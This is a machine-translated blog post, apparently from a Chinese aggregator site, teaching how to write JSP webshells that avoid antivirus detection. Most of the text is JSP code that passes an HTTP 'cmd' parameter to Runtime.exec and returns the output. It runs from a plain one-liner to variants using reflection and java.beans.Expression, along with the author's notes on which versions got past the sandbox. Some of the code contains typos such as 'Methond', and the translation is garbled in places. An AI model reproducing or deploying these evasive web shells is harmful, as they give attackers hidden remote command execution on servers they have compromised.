当前位置:网站首页>JSP webshell free -- webshell free
JSP webshell free -- webshell free
2022-07-02 10:55:00 【Crossing the ridge】
It's funny , The people around me mentioned a lot every day during the provincial care , It is said that he is a very powerful boss .
As a result, the video I learned without killing is the big guy's .
Even more outrageous , Brother Cong said that we have met a lot , The last time I sorted out the report for the red team , He's right there .
Sure enough , Internship is good , The legendary bigwigs are around —— Although I don't know , But I still feel good .
Come on , Start learning to avoid killing
First , What is? webshell?
webshell That is to say asp、php、jsp perhaps cgi A code execution environment in the form of web page files , Mainly used for website management 、 Server management 、 Permission management and other operations . Easy to use , Just upload a code file , Visit through website , Many daily operations can be carried out , It greatly facilitates users' management of websites and servers .
What is? RCE?
RCE English full name :remote command/code execute
Divided into remote command execution ping And remote code execution evel.
The reason for the vulnerability : There is no input processing at the input port .
First do the basic reflection
The first is the simplest sentence, Trojan horse :
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
It's too easy to find
And when I wrote the code, the computer virus and threat protection had already begun to react
Now put this sentence on the horse , Write separately
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
The sandbox passed
however cmd=ipconfig Nothing comes out ,netstat -ano It's also .
Change the code again
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
There's an episode in the middle ,
I can't see why the code reports an error , It turned out that it was because getWrite A less r.
But this is only done and can be echoed , There is no reflection function
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Class<?> rt = Class.forName("java.lang.getRuntime");
Methond grMethod = rt.getMethod("getRuntime");
Methond method = rt.getMethod("exec",String.class);
Object object = method.invoke(grMethod.invoke(null),cmd);
Process process = (Process)object;
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
BeansExpression No killing
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.beans.Expression" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine())!=null){
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>
边栏推荐
猜你喜欢
MYSQL环境配置
14. Code implementation of semaphore
Jsp webshell Free from killing - The Foundation of JSP
Use WinDbg to statically analyze dump files (summary of practical experience)
对话吴纲:我为什么笃信“大国品牌”的崛起?
13.信号量临界区保护
stm32和電機開發(上比特系統)
2. Hacking lab script off [detailed writeup]
Mongodb quickly get started with some simple operations of mongodb command line
UVM learning - object attribute of UVM phase
随机推荐
Thanos Receiver
Point cloud projection picture
shell编程01_Shell基础
《MySQL 8 DBA基础教程》简介
Windows环境MySQL8忘记密码文件解决方案
Excuse me, is it cost-effective to insure love life patron saint 2.0 increased lifelong life insurance? What are the advantages of this product?
What are the popular frameworks for swoole in 2022?
华为联机对战服务玩家掉线重连案例总结
集成学习概览
传输优化抽象
Importing tables from sqoop
PCL 投影点云
高考的意义是什么
01安装虚拟机
sqoop的表的导入
Flutter——Canvas自定义曲线图
PCL之滤波
Pywin32打开指定窗口
Beautiful and intelligent, Haval H6 supreme+ makes Yuanxiao travel safer
大华设备播放过程中设置播放速度